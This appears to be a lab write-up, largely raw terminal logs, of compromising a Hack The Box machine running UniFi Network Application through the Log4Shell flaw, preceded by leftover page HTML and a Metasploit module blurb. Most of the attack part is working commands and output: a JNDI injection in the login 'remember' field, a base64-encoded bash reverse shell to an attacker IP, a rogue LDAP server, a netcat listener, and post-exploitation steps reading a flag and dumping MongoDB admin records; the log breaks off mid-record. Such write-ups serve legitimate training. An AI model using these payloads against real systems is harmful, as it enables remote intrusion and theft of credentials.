unifi-blackout-modal-reject-on-esc="layout.rejectOnEsc"><!----></div><!----><div ng-repeat="layout in ::manageCtrl.FRAME_LAYOUTS track by $index" unifi-blackout-modal-layout="restoreBackupSitePickerLayout" unifi-blackout-modal-disable-esc="layout.disableEsc" unifi-blackout-modal-reject-on-esc="layout.rejectOnEsc"><!----></div><!----><div ng-repeat="layout in ::manageCtrl.FRAME_LAYOUTS track by $index" unifi-blackout-modal-layout="reportClientFingerprintLayout" unifi-blackout-modal-disable-esc="layout.disableEsc" unifi-blackout-modal-reject-on-esc="layout.rejectOnEsc"><!----></div><!----><div ng-repeat="layout in ::manageCtrl.FRAME_LAYOUTS track by $index" unifi-blackout-modal-layout="reportIncorrectExperienceScoreLayout" unifi-blackout-modal-disable-esc="layout.disableEsc" unifi-blackout-modal-reject-on-esc="layout.rejectOnEsc"><!----></div><!----><div ng-repeat="layout in ::manageCtrl.FRAME_LAYOUTS track by $index" unifi-blackout-modal-layout="simpleTextEditorLayout" unifi-blackout-modal-disable-esc="layout.disableEsc" unifi-blackout-modal-reject-on-esc="layout.rejectOnEsc"><!----></div><!----><div ng-repeat="layout in ::manageCtrl.FRAME_LAYOUTS track by $index" unifi-blackout-modal-layout="sitesOverviewLayout" unifi-blackout-modal-disable-esc="layout.disableEsc" unifi-blackout-modal-reject-on-esc="layout.rejectOnEsc"><!----></div><!----><div ng-repeat="layout in ::manageCtrl.FRAME_LAYOUTS track by $index" unifi-blackout-modal-layout="speedTestLayout" unifi-blackout-modal-disable-esc="layout.disableEsc" unifi-blackout-modal-reject-on-esc="layout.rejectOnEsc"><!----></div><!----><div ng-repeat="layout in ::manageCtrl.FRAME_LAYOUTS track by $index" unifi-blackout-modal-layout="systemConfigLayout" unifi-blackout-modal-disable-esc="layout.disableEsc" unifi-blackout-modal-reject-on-esc="layout.rejectOnEsc"><!----></div><!----><div ng-repeat="layout in ::manageCtrl.FRAME_LAYOUTS track by $index" unifi-blackout-modal-layout="reportTermsOfServiceLayout" unifi-blackout-modal-disable-esc="layout.disableEsc" unifi-blackout-modal-reject-on-esc="layout.rejectOnEsc"><!----></div><!----><div ng-repeat="layout in ::manageCtrl.FRAME_LAYOUTS track by $index" unifi-blackout-modal-layout="trainingLoginLayout" unifi-blackout-modal-disable-esc="layout.disableEsc" unifi-blackout-modal-reject-on-esc="layout.rejectOnEsc"><!----></div><!----><div ng-repeat="layout in ::manageCtrl.FRAME_LAYOUTS track by $index" unifi-blackout-modal-layout="warningLayout" unifi-blackout-modal-disable-esc="layout.disableEsc" unifi-blackout-modal-reject-on-esc="layout.rejectOnEsc"><!----></div><!----><div ng-repeat="layout in ::manageCtrl.FRAME_LAYOUTS track by $index" unifi-blackout-modal-layout="webrtcErrorLayout" unifi-blackout-modal-disable-esc="layout.disableEsc" unifi-blackout-modal-reject-on-esc="layout.rejectOnEsc"><!----></div><!----><div ng-repeat="layout in ::manageCtrl.FRAME_LAYOUTS track by $index" unifi-blackout-modal-layout="webrtcFailedLayout" unifi-blackout-modal-disable-esc="layout.disableEsc" unifi-blackout-modal-reject-on-esc="layout.rejectOnEsc"><!----></div><!----><div ng-repeat="layout in ::manageCtrl.FRAME_LAYOUTS track by $index" unifi-blackout-modal-layout="wirelessNetworkMacFilterAddBatchLayout" unifi-blackout-modal-disable-esc="layout.disableEsc" unifi-blackout-modal-reject-on-esc="layout.rejectOnEsc"><!----></div><!----><div ng-repeat="layout in ::manageCtrl.FRAME_LAYOUTS track by $index" unifi-blackout-modal-layout="wirelessNetworkMacFilterAddClientsLayout" unifi-blackout-modal-disable-esc="layout.disableEsc" unifi-blackout-modal-reject-on-esc="layout.rejectOnEsc"><!----></div><!----><div ng-repeat="layout in ::manageCtrl.FRAME_LAYOUTS track by $index" unifi-blackout-modal-layout="wirelessUplinkDfsWarningLayout" unifi-blackout-modal-disable-esc="layout.disableEsc" unifi-blackout-modal-reject-on-esc="layout.rejectOnEsc"><!----></div><!----><div ng-repeat="layout in ::manageCtrl.FRAME_LAYOUTS track by $index" unifi-blackout-modal-layout="workingLayout" unifi-blackout-modal-disable-esc="layout.disableEsc" unifi-blackout-modal-reject-on-esc="layout.rejectOnEsc"><!----></div><!----><div ng-repeat="layout in ::manageCtrl.FRAME_LAYOUTS track by $index" unifi-blackout-modal-layout="webrtcReconnectingLayout" unifi-blackout-modal-disable-esc="layout.disableEsc" unifi-blackout-modal-reject-on-esc="layout.rejectOnEsc"><!----></div><!----><div ng-repeat="layout in ::manageCtrl.FRAME_LAYOUTS track by $index" unifi-blackout-modal-layout="createOperatorLayout" unifi-blackout-modal-disable-esc="layout.disableEsc" unifi-blackout-modal-reject-on-esc="layout.rejectOnEsc"><!----></div><!----><div ng-repeat="layout in ::manageCtrl.FRAME_LAYOUTS track by $index" unifi-blackout-modal-layout="createVouchersLayout" unifi-blackout-modal-disable-esc="layout.disableEsc" unifi-blackout-modal-reject-on-esc="layout.rejectOnEsc"><!----></div><!----><div unifi-app-takeover-layout="whatsNewTakeoverLayout" unifi-app-takeover-show-header="true"><!----></div></div></div></div></body></html>
Hotspot Manager6.4.54
The Ubiquiti UniFi Network Application versions 5.13.29 through 6.5.53 are affected by the Log4Shell vulnerability whereby a JNDI string can be sent to the server via the remember field of a POST request to the /api/login endpoint that will cause the server to connect to the attacker and deserialize a malicious Java object. This results in OS command execution in the context of the server application. This Metasploit module will start an LDAP server that the target will need to connect to.
tags | exploit, java
advisories | CVE-2021-44228
SHA-256 | 371aff703a1c6ed83abe19b12644a1663d1052646d88c385fcca8a64bc63db21
LDAP
LDAP一般指轻型目录访问协议。 轻型目录访问协议（英文：Lightweight Directory Access Protocol，缩写：LDAP，/ˈɛldæp/）是一个开放的，中立的，工业标准的应用协议，通过IP协议提供访问控制和维护分布式信息的目录信息。
Env:
apt update && apt install openjdk-11-jre maven
┌──(kwkl㉿kwkl)-[~]
└─$ sudo apt install openjdk-11-jre maven 100 ⨯
[sudo] kwkl 的密码：
正在读取软件包列表... 完成
正在分析软件包的依赖关系树... 完成
正在读取状态信息... 完成
maven 已经是最新版 (3.8.6-1)。
下列软件包是自动安装的并且现在不需要了：
buildah conmon fuse-overlayfs gir1.2-ayatanaappindicator3-0.1 golang-github-containernetworking-plugin-dnsname golang-github-containers-common
golang-github-containers-image libostree-1-1 libpython3.9-dev libslirp0 libsubid4 podman python3.9 python3.9-dev python3.9-minimal slirp4netns uidmap
使用'sudo apt autoremove'来卸载它(它们)。
建议安装：
fonts-ipafont-gothic fonts-ipafont-mincho fonts-wqy-microhei | fonts-wqy-zenhei fonts-indic
下列软件包将被升级：
openjdk-11-jre openjdk-11-jre-headless
升级了 2 个软件包，新安装了 0 个软件包，要卸载 0 个软件包，有 1547 个软件包未被升级。
需要下载 37.6 MB 的归档。
解压缩后会消耗 48.1 kB 的额外空间。
获取:1 https://http.kali.org/kali kali-rolling/main amd64 openjdk-11-jre amd64 11.0.17+8-2 [176 kB]
获取:2 https://http.kali.org/kali kali-rolling/main amd64 openjdk-11-jre-headless amd64 11.0.17+8-2 [37.4 MB]
已下载 37.6 MB，耗时 21秒 (1,823 kB/s)
(正在读取数据库 ... 系统当前共安装有 354596 个文件和目录。)
准备解压 .../openjdk-11-jre_11.0.17+8-2_amd64.deb ...
正在解压 openjdk-11-jre:amd64 (11.0.17+8-2) 并覆盖 (11.0.16+8-1) ...
准备解压 .../openjdk-11-jre-headless_11.0.17+8-2_amd64.deb ...
正在解压 openjdk-11-jre-headless:amd64 (11.0.17+8-2) 并覆盖 (11.0.16+8-1) ...
正在设置 openjdk-11-jre-headless:amd64 (11.0.17+8-2) ...
正在安装新版本配置文件 /etc/java-11-openjdk/jfr/default.jfc ...
正在安装新版本配置文件 /etc/java-11-openjdk/jfr/profile.jfc ...
正在安装新版本配置文件 /etc/java-11-openjdk/security/default.policy ...
正在安装新版本配置文件 /etc/java-11-openjdk/security/java.security ...
update-binfmts: warning: current package is openjdk-17, but binary format already installed by openjdk-11
正在设置 openjdk-11-jre:amd64 (11.0.17+8-2) ...
正在处理用于 desktop-file-utils (0.26-1) 的触发器 ...
正在处理用于 hicolor-icon-theme (0.17-2) 的触发器 ...
正在处理用于 mailcap (3.70) 的触发器 ...
Scanning processes...
Scanning processor microcode...
Scanning linux images...
Running kernel seems to be up-to-date.
Failed to check for processor microcode upgrades.
No services need to be restarted.
No containers need to be restarted.
No user sessions are running outdated binaries.
No VM guests are running outdated hypervisor (qemu) binaries on this host.
┌──(kwkl㉿kwkl)-[~]
└─$ java -version
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
java version "1.8.0_131"
Java(TM) SE Runtime Environment (build 1.8.0_131-b11)
Java HotSpot(TM) 64-Bit Server VM (build 25.131-b11, mixed mode)
──(kwkl㉿kwkl)-[~/HODL/htb]
└─$ git clone --recurse-submodules https://github.com/puzzlepeaches/Log4jUnifi && cd Log4jUnifi && pip3 install -r requirements.txt
正克隆到 'Log4jUnifi'...
remote: Enumerating objects: 21, done.
remote: Counting objects: 100% (21/21), done.
remote: Compressing objects: 100% (17/17), done.
remote: Total 21 (delta 7), reused 8 (delta 1), pack-reused 0
接收对象中: 100% (21/21), 5.77 KiB | 2.89 MiB/s, 完成.
处理 delta 中: 100% (7/7), 完成.
子模组 'utils/rogue-jndi'（https://github.com/veracode-research/rogue-jndi）已对路径 'utils/rogue-jndi' 注册
正克隆到 '/home/kwkl/HODL/htb/Log4jUnifi/utils/rogue-jndi'...
remote: Enumerating objects: 80, done.
remote: Counting objects: 100% (16/16), done.
remote: Compressing objects: 100% (10/10), done.
remote: Total 80 (delta 8), reused 6 (delta 6), pack-reused 64
接收对象中: 100% (80/80), 24.71 KiB | 332.00 KiB/s, 完成.
处理 delta 中: 100% (30/30), 完成.
子模组路径 'utils/rogue-jndi'：检出 '1aa5a5dfc09bfcd7dd50c617a6cd79167d5248d6'
Defaulting to user installation because normal site-packages is not writeable
Looking in indexes: https://pypi.tuna.tsinghua.edu.cn/simple
Requirement already satisfied: requests in /usr/lib/python3/dist-packages (from -r requirements.txt (line 1)) (2.25.1)
┌──(kwkl㉿kwkl)-[~/HODL/htb/Log4jUnifi]
└─$ mvn package -f utils/rogue-jndi/
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[INFO] Scanning for projects...
[INFO]
[INFO] ------------------------< RogueJndi:RogueJndi >-------------------------
[INFO] Building RogueJndi 1.1
[INFO] --------------------------------[ jar ]---------------------------------
[INFO]
[INFO] --- maven-resources-plugin:2.6:resources (default-resources) @ RogueJndi ---
[WARNING] Using platform encoding (UTF-8 actually) to copy filtered resources, i.e. build is platform dependent!
[INFO] skip non existing resourceDirectory /home/kwkl/HODL/htb/Log4jUnifi/utils/rogue-jndi/src/main/resources
[INFO]
[INFO] --- maven-compiler-plugin:3.8.1:compile (default-compile) @ RogueJndi ---
[INFO] Changes detected - recompiling the module!
[WARNING] File encoding has not been set, using platform encoding UTF-8, i.e. build is platform dependent!
[INFO] Compiling 14 source files to /home/kwkl/HODL/htb/Log4jUnifi/utils/rogue-jndi/target/classes
[INFO]
[INFO] --- maven-resources-plugin:2.6:testResources (default-testResources) @ RogueJndi ---
[INFO] Not copying test resources
[INFO]
[INFO] --- maven-compiler-plugin:3.8.1:testCompile (default-testCompile) @ RogueJndi ---
[INFO] Not compiling test sources
[INFO]
[INFO] --- maven-surefire-plugin:2.12.4:test (default-test) @ RogueJndi ---
[INFO] Tests are skipped.
[INFO]
[INFO] --- maven-jar-plugin:2.4:jar (default-jar) @ RogueJndi ---
[INFO] Building jar: /home/kwkl/HODL/htb/Log4jUnifi/utils/rogue-jndi/target/RogueJndi-1.1.jar
[INFO]
[INFO] --- maven-shade-plugin:3.2.1:shade (default) @ RogueJndi ---
[INFO] Including com.unboundid:unboundid-ldapsdk:jar:3.1.1 in the shaded jar.
[INFO] Including org.apache.tomcat.embed:tomcat-embed-core:jar:8.5.61 in the shaded jar.
[INFO] Including org.apache.tomcat:tomcat-annotations-api:jar:8.5.61 in the shaded jar.
[INFO] Including org.apache.tomcat.embed:tomcat-embed-el:jar:8.5.45 in the shaded jar.
[INFO] Including com.beust:jcommander:jar:1.78 in the shaded jar.
[INFO] Including org.reflections:reflections:jar:0.9.12 in the shaded jar.
[INFO] Including org.javassist:javassist:jar:3.26.0-GA in the shaded jar.
[INFO] Including org.codehaus.groovy:groovy:jar:2.4.21 in the shaded jar.
[INFO] Including org.apache.commons:commons-text:jar:1.8 in the shaded jar.
[INFO] Including org.apache.commons:commons-lang3:jar:3.9 in the shaded jar.
[INFO] Replacing original artifact with shaded artifact.
[INFO] Replacing /home/kwkl/HODL/htb/Log4jUnifi/utils/rogue-jndi/target/RogueJndi-1.1.jar with /home/kwkl/HODL/htb/Log4jUnifi/utils/rogue-jndi/target/RogueJndi-1.1-shaded.jar
[INFO] Dependency-reduced POM written at: /home/kwkl/HODL/htb/Log4jUnifi/utils/rogue-jndi/dependency-reduced-pom.xml
[INFO] ------------------------------------------------------------------------
[INFO] BUILD SUCCESS
[INFO] ------------------------------------------------------------------------
[INFO] Total time: 3.204 s
[INFO] Finished at: 2022-11-20T16:52:18+08:00
[INFO] ------------------------------------------------------------------------
┌──(kwkl㉿kwkl)-[~/HODL/htb/Log4jUnifi]
└─$ sudo docker build -t log4junifi .
Sending build context to Docker daemon 12.23MB
Step 1/7 : FROM alpine
latest: Pulling from library/alpine
latest: Pulling from library/alpine
ca7dd9ec2225: Pull complete
Digest: sha256:b95359c2505145f16c6aa384f9cc74eeff78eb36d308ca4fd902eeeb0a0b161b
Status: Downloaded newer image for alpine:latest
---> bfe296a52501
Step 2/7 : ADD . /Log4jUnifi
---> c67941fae546
Step 3/7 : RUN apk update && apk add git openjdk11 py3-pip python3 maven
---> Running in a833cbdc1d80
fetch https://dl-cdn.alpinelinux.org/alpine/v3.16/main/x86_64/APKINDEX.tar.gz
fetch https://dl-cdn.alpinelinux.org/alpine/v3.16/community/x86_64/APKINDEX.tar.gz
v3.16.3-3-g26b0cc4686 [https://dl-cdn.alpinelinux.org/alpine/v3.16/main]
v3.16.3-9-gbcd55fd903 [https://dl-cdn.alpinelinux.org/alpine/v3.16/community]
OK: 17037 distinct packages available
(1/58) Installing ca-certificates (20220614-r0)
(2/58) Installing brotli-libs (1.0.9-r6)
(3/58) Installing nghttp2-libs (1.47.0-r0)
(4/58) Installing libcurl (7.83.1-r4)
Sending build context to Docker daemon 12.23MB
Step 1/7 : FROM alpine
---> bfe296a52501
Step 2/7 : ADD . /Log4jUnifi
---> Using cache
---> c67941fae546
Step 3/7 : RUN apk update && apk add git openjdk11 py3-pip python3 maven
---> Using cache
---> c5a351d344f9
Step 4/7 : WORKDIR /Log4jUnifi
---> Using cache
---> 122f227b3517
Step 5/7 : RUN mvn package -f /Log4jUnifi/utils/rogue-jndi/
---> Using cache
---> 3d8c9ad76eb2
Step 6/7 : RUN pip3 install -r requirements.txt
---> Using cache
---> b352d5c4d2e6
Step 7/7 : ENTRYPOINT ["python3","exploit.py"]
---> Using cache
---> e8fb2a3d32cb
Successfully built e8fb2a3d32cb
Successfully tagged log4junifi:latest
┌──(kwkl㉿kwkl)-[~/HODL/htb]
└─$ sudo apt install tcpdump
[sudo] kwkl 的密码：
正在读取软件包列表... 完成
正在分析软件包的依赖关系树... 完成
正在读取状态信息... 完成
下列软件包是自动安装的并且现在不需要了：
buildah conmon fuse-overlayfs gir1.2-ayatanaappindicator3-0.1 golang-github-containernetworking-plugin-dnsname golang-github-containers-common
golang-github-containers-image libostree-1-1 libpython3.9-dev libslirp0 libsubid4 podman python3.9 python3.9-dev python3.9-minimal slirp4netns uidmap
使用'sudo apt autoremove'来卸载它(它们)。
下列软件包将被升级：
tcpdump
升级了 1 个软件包，新安装了 0 个软件包，要卸载 0 个软件包，有 1546 个软件包未被升级。
需要下载 469 kB 的归档。
解压缩后会消耗 2,048 B 的额外空间。
获取:1 https://http.kali.org/kali kali-rolling/main amd64 tcpdump amd64 4.99.1-4+b1 [469 kB]
已下载 469 kB，耗时 6秒 (84.6 kB/s)
(正在读取数据库 ... 系统当前共安装有 354595 个文件和目录。)
准备解压 .../tcpdump_4.99.1-4+b1_amd64.deb ...
正在解压 tcpdump (4.99.1-4+b1) 并覆盖 (4.99.1-2) ...
正在设置 tcpdump (4.99.1-4+b1) ...
正在安装新版本配置文件 /etc/apparmor.d/usr.bin.tcpdump ...
正在处理用于 man-db (2.9.4-2) 的触发器 ...
正在处理用于 kali-menu (2021.3.3) 的触发器 ...
Scanning processes...
Scanning processor microcode...
Scanning linux images...
Running kernel seems to be up-to-date.
Failed to check for processor microcode upgrades.
No services need to be restarted.
No containers need to be restarted.
No user sessions are running outdated binaries.
No VM guests are running outdated hypervisor (qemu) binaries on this host.
POST /api/login HTTP/1.1
Host: 10.129.223.34:8443
Origin: https://10.129.223.34:8443
Referer: https://10.129.223.34:8443/manage/account/login?redirect=%2Fmanage
sec-ch-ua: "Chromium";v="106", "Google Chrome";v="106", "Not;A=Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
Content-Length: 127
{
"username": "admin",
"password": "admin",
"remember": "${jndi:ldap://{10.10.16.122}/whatever}",
"strict": true
}
┌──(kwkl㉿kwkl)-[~/HODL/htb/Log4jUnifi]
└─$ echo 'bash -c bash -i >&/dev/tcp/10.10.16.122/1234 0>&1' | base64
YmFzaCAtYyBiYXNoIC1pID4mL2Rldi90Y3AvMTAuMTAuMTYuMTIyLzEyMzQgMD4mMQo=
┌──(kwkl㉿kwkl)-[~/HODL/htb/Log4jUnifi]
└─$ java -jar utils/rogue-jndi/target/RogueJndi-1.1.jar --command "bash -c {echo,YmFzaCAtYyBiYXNoIC1pID4mL2Rldi90Y3AvMTAuMTAuMTYuMTIyLzEyMzQgMD4mMQo=}|{base64,-d}|{bash,-i}" --hostname "10.129.78.40"
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
+-+-+-+-+-+-+-+-+-+
| R | o | g | u | e | J | n | d | i |
| ---- | ---- | ---- | ---- | ---- | ---- | ---- | ---- | ---- |
| | | | | | | | | |
+-+-+-+-+-+-+-+-+-+
Starting HTTP server on 0.0.0.0:8000
Starting LDAP server on 0.0.0.0:1389
Mapping ldap://10.129.78.40:1389/o=tomcat to artsploit.controllers.Tomcat
Mapping ldap://10.129.78.40:1389/ to artsploit.controllers.RemoteReference
Mapping ldap://10.129.78.40:1389/o=reference to artsploit.controllers.RemoteReference
Mapping ldap://10.129.78.40:1389/o=groovy to artsploit.controllers.Groovy
Mapping ldap://10.129.78.40:1389/o=websphere1 to artsploit.controllers.WebSphere1
Mapping ldap://10.129.78.40:1389/o=websphere1,wsdl=* to artsploit.controllers.WebSphere1
Mapping ldap://10.129.78.40:1389/o=websphere2 to artsploit.controllers.WebSphere2
Mapping ldap://10.129.78.40:1389/o=websphere2,jar=* to artsploit.controllers.WebSphere2
┌──(kwkl㉿kwkl)-[~/HODL/htb/Log4jUnifi]
└─$ java -jar utils/rogue-jndi/target/RogueJndi-1.1.jar --command "bash -c {echo,YmFzaCAtYyBiYXNoIC1pID4mL2Rldi90Y3AvMTAuMTAuMTYuMTIyLzEyMzQgMD4mMQo=}|{base64,-d}|{bash,-i}" --hostname "10.129.223.34"
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
+-+-+-+-+-+-+-+-+-+
|R|o|g|u|e|J|n|d|i|
+-+-+-+-+-+-+-+-+-+
Starting HTTP server on 0.0.0.0:8000
Starting LDAP server on 0.0.0.0:1389
Mapping ldap://10.129.223.34:1389/o=tomcat to artsploit.controllers.Tomcat
Mapping ldap://10.129.223.34:1389/ to artsploit.controllers.RemoteReference
Mapping ldap://10.129.223.34:1389/o=reference to artsploit.controllers.RemoteReference
Mapping ldap://10.129.223.34:1389/o=groovy to artsploit.controllers.Groovy
Mapping ldap://10.129.223.34:1389/o=websphere1 to artsploit.controllers.WebSphere1
Mapping ldap://10.129.223.34:1389/o=websphere1,wsdl=* to artsploit.controllers.WebSphere1
Mapping ldap://10.129.223.34:1389/o=websphere2 to artsploit.controllers.WebSphere2
Mapping ldap://10.129.223.34:1389/o=websphere2,jar=* to artsploit.controllers.WebSphere2
┌──(kwkl㉿kwkl)-[~/HODL/htb/Log4jUnifi]
└─$ docker run -it -v $(pwd)/loot:/Log4jUnifi/loot -p 8090:8090 -p 1389:1389 log4junifi -u https://10.129.223.34:8443 -i 10.10.16.122 -p 1234
[*] Starting malicous JNDI Server
{"username": "${jndi:ldap://10.10.16.122:1389/o=tomcat}", "password": "log4j", "remember": "${jndi:ldap://10.10.16.122:1389/o=tomcat}", "strict":true}
[*] Firing payload!
[*] Check for a callback!
POST /api/login HTTP/1.1
Host: 10.129.223.34:8443
Origin: https://10.129.223.34:8443
Referer: https://10.129.223.34:8443/manage/account/login?redirect=%2Fmanage
sec-ch-ua: "Chromium";v="106", "Google Chrome";v="106", "Not;A=Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
Content-Length: 131
{
"username": "admin",
"password": "admin",
"remember": "${jndi:ldap://10.129.223.34:1389/o=tomcat}",
"strict": true
}
──(kwkl㉿kwkl)-[~]
└─$ nc -lvnp 1234 130 ⨯
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
id
id
id
Ncat: Connection from 10.129.223.34.
Ncat: Connection from 10.129.223.34:42154.
uid=999(unifi) gid=999(unifi) groups=999(unifi)
uid=999(unifi) gid=999(unifi) groups=999(unifi)
uid=999(unifi) gid=999(unifi) groups=999(unifi)
script /dev/null -c bash
Script started, file is /dev/null
unifi@unified:/usr/lib/unifi$
unifi@unified:/usr/lib/unifi$
unifi@unified:/usr/lib/unifi$ cd /home/michael
cd /home/michael
unifi@unified:/home/michael$ dir
dir
user.txt
unifi@unified:/home/michael$ cat user.txt
cat user.txt
6ced1a6a89e666c0620cdb10262ba127
unifi@unified:/home/michael$ ps aux | grep mongo
ps aux | grep mongo
unifi 67 0.4 4.1 1103744 85060 ? Sl 12:54 0:11 bin/mongod --dbpath /usr/lib/unifi/data/db --port 27117 --unixSocketPrefix /usr/lib/unifi/run --logRotate reopen --logappend --logpath /usr/lib/unifi/logs/mongod.log --pidfilepath /usr/lib/unifi/run/mongod.pid --bind_ip 127.0.0.1
unifi 1335 0.0 0.0 11468 1060 pts/1 S+ 13:35 0:00 grep mongo
unifi@unified:/home/michael$ mongo --port 27117 ace --eval "db.admin.find().forEach(printjson);"
<17 ace --eval "db.admin.find().forEach(printjson);"
MongoDB shell version v3.6.3
connecting to: mongodb://127.0.0.1:27117/ace
MongoDB server version: 3.6.3
{
"_id" : ObjectId("61ce278f46e0fb0012d47ee4"),
"name" : "administrator",
"email" : "administrator@unified.htb",
"x_shadow" : "SHA_512 Hash Generated",
"time_created" : NumberLong(1640900495),
"last_site_name" : "default",
"ui_settings" : {
"neverCheckForUpdate" : true,
"statisticsPrefferedTZ" : "SITE",
"statisticsPreferBps" : "",
"tables" : {
"device" : {
"sortBy" : "type",
"isAscending" : true,
"initialColumns" : [
"type",
"deviceName",
"status",
"connection",
"network",
"ipAddress",
"experience",
"firmwareStatus",
"downlink",
"uplink",
"dailyUsage"
],
"columns" : [
"type",
"deviceName",
"status",
"macAddress",
"model",
"ipAddress",
"connection",
"network",
"experience",
"firmwareStatus",
"firmwareVersion",
"memoryUsage",
"cpuUsage",
"loadAverage",
"utilization",
"clients",
"lastSeen",
"downlink",
"uplink",
"dailyUsage",
"uptime",
"wlan2g",
"wlan5g",
"radio2g",
"radio5g",
"clients2g",
"clients5g",
"bssid",
"tx",
"rx",
"tx2g",
"tx5g",
"channel",
"channel2g",
"channel5g"
]
},
"client" : {
"sortBy" : "physicalName",
"isAscending" : true,
"initialColumns" : [
"status",
"clientName",
"physicalName",
"connection",
"ip",
"experience",
"Downlink",
"Uplink",
"dailyUsage"
],
"columns" : [
"status",
"clientName",
"mac",
"physicalName",
"connection",
"network",
"interface",
"wifi_band",
"ip",
"experience",
"Downlink",
"Uplink",
"dailyUsage",
"uptime",
"channel",
"Uplink_apPort",
"signal",
"txRate",
"rxRate",
"first_seen",
"last_seen",
"rx_packets",
"tx_packets"
],
"filters" : {
"status" : {
"active" : true
},
"connection_type" : {
"ng" : true,
"na" : true,
"wired" : true,
"vpn" : true
},
"clients_type" : {
"users" : true,
"guests" : true
},
"device" : {
"device" : ""
}
}
},
"unifiDevice" : {
"sortBy" : "type",
"isAscending" : true,
"columns" : [
"type",
"name",
"status",
"macAddress",
"model",
"ipAddress",
"connection",
"network",
"experience",
"firmwareStatus",
"firmwareVersion",
"memoryUsage",
"cpuUsage",
"loadAverage",
"utilization",
"clients",
"dailyUsage",
"lastSeen",
"downlink",
"uplink",
"uptime",
"wlan2g",
"wlan5g",
"radio2g",
"radio5g",
"clients2g",
"clients5g",
"bssid",
"tx",
"rx",
"tx2g",
"tx5g",
"channel",
"channel2g",
"channel5g"
],
"initialColumns" : [
"type",
"name",
"status",
"connection",
"network",
"ipAddress",
"experience",
"firmwareStatus",
"downlink",
"uplink",
"dailyUsage"
]
},
"unifiDeviceNetwork" : {
"sortBy" : "type",
"isAscending" : true,
"columns" : [
"type",
"name",
"status",
"macAddress",
"model",
"ipAddress",
"connection",
"network",
"experience",
"firmwareStatus",
"firmwareVersion",
"memoryUsage",
"cpuUsage",
"loadAverage",
"utilization",
"clients",
"dailyUsage",
"lastSeen",
"downlink",
"uplink",
"uptime",
"wlan2g",
"wlan5g",
"radio2g",
"radio5g",
"clients2g",
"clients5g",
"bssid",
"tx",
"rx",
"tx2g",
"tx5g",
"channel",
"channel2g",
"channel5g"
],
"initialColumns" : [
"type",
"name",
"status",
"connection",
"network",
"ipAddress",
"experience",
"firmwareStatus",
"downlink",
"uplink",
"dailyUsage"
]
},
"unifiDeviceAccess" : {
"sortBy" : "type",
"isAscending" : true,
"columns" : [
"type",
"name",
"status",
"macAddress",
"model",
"ipAddress",
"connection",
"network",
"experience",
"firmwareStatus",
"firmwareVersion",
"memoryUsage",
"cpuUsage",
"loadAverage",
"utilization",
"clients",
"dailyUsage",
"lastSeen",
"downlink",
"uplink",
"uptime",
"wlan2g",
"wlan5g",
"radio2g",
"radio5g",
"clients2g",
"clients5g",
"bssid",
"tx",
"rx",
"tx2g",
"tx5g",
"channel",
"channel2g",
"channel5g"
],
"initialColumns" : [
"type",
"name",
"status",
"connection",
"network",
"ipAddress",
"experience",
"firmwareStatus",
"downlink",
"uplink",
"dailyUsage"
]
},
"unifiDeviceProtect" : {
"sortBy" : "type",
"isAscending" : true,
"columns" : [
"type",
"name",
"status",
"macAddress",
"model",
"ipAddress",
"connection",
"network",
"experience",
"firmwareStatus",
"firmwareVersion",
"memoryUsage",
"cpuUsage",
"loadAverage",
"utilization",
"clients",
"dailyUsage",
"lastSeen",
"downlink",
"uplink",
"uptime",
"wlan2g",
"wlan5g",
"radio2g",
"radio5g",
"clients2g",
"clients5g",
"bssid",
"tx",
"rx",
"tx2g",
"tx5g",
"channel",
"channel2g",
"channel5g"
],
"initialColumns" : [
"type",
"name",
"status",
"connection",
"network",
"ipAddress",
"experience",
"firmwareStatus",
"downlink",
"uplink",
"dailyUsage"
]
},
"unifiDeviceTalk" : {
"sortBy" : "type",
"isAscending" : true,
"columns" : [
"type",
"name",
"status",
"macAddress",
"model",
"ipAddress",
"connection",
"network",
"experience",
"firmwareStatus",
"firmwareVersion",
"memoryUsage",
"cpuUsage",
"loadAverage",
"utilization",
"clients",
"dailyUsage",
"lastSeen",
"downlink",
"uplink",
"uptime",
"wlan2g",
"wlan5g",
"radio2g",
"radio5g",
"clients2g",
"clients5g",
"bssid",
"tx",
"rx",
"tx2g",
"tx5g",
"channel",
"channel2g",
"channel5g"
],
"initialColumns" : [
"type",
"name",
"status",
"connection",
"network",
"ipAddress",
"experience",
"firmwareStatus",
"downlink",
"uplink",
"dailyUsage"
]
},
"insights/wifiScanner" : {
"sortBy" : "apCount",
"isAscending" : false,
"initialColumns" : [
"apCount",
"essid",
"bssid",
"security",
"radio",
"signal",
"channel",
"band",
"bw",
"oui",
"date",
"ap_mac"
],
"columns" : [
"apCount",
"essid",
"bssid",
"security",
"radio",
"signal",
"channel",
"band",
"bw",
"oui",
"date",
"ap_mac"
]
},
"insights/wifiMan" : {
"sortBy" : "date",
"isAscending" : false,
"initialColumns" : [
"clinet_name",
"client_wifi_experience",
"device_model",
"device_name",
"wlan_essid",
"client_signal",
"wlan_channel_width",
"down",
"up",
"endPoint",
"rate",
"date"
],
"columns" : [
"clinet_name",
"client_wifi_experience",
"device_model",
"device_name",
"wlan_essid",
"client_signal",
"wlan_channel_width",
"down",
"up",
"endPoint",
"rate",
"date"
]
}
},
"topologyViewSettings" : {
"showAllDevices" : true,
"showAllClients" : true,
"show2GClients" : true,
"show5GClients" : true,
"showWiredClients" : true,
"showSSID" : false,
"showWifiExperience" : true,
"showRadioChannel" : false,
"showWifiStandards" : false,
"showWiredSpeed" : false,
"showWiredPorts" : false,
"online" : true,
"offline" : true,
"isolated" : true,
"pending_adoption" : true,
